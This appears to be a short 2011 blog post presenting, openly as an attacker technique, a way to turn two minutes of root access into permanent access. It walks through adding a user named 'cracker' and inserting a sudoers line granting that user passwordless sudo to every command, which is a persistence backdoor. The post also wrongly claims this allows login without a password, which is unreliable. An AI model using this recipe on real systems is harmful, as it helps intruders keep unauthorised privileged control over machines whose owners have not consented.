Thursday, May 5, 2011

Sudo Users With No Password!

How it will be if you get root access for 2 minutes somewhere and afterwards you want to get root access for FULL TIME! If admin is not watching sudo ! (Real Scenario)

Attackers somehow gets 2 minutes access to ROOT!

Step 1 : Add user with your favorite Name mine is cracker

Step 2 : visudo

Step 3 : Scroll down till "Allow root to run any command"

Add Line :

cracker       ALL=NOPASSWD:       ALL


Thats it!

Now save and exit!

Log in with your new user cracker directly without password!!!

Thank You!

 

No comments:

Post a Comment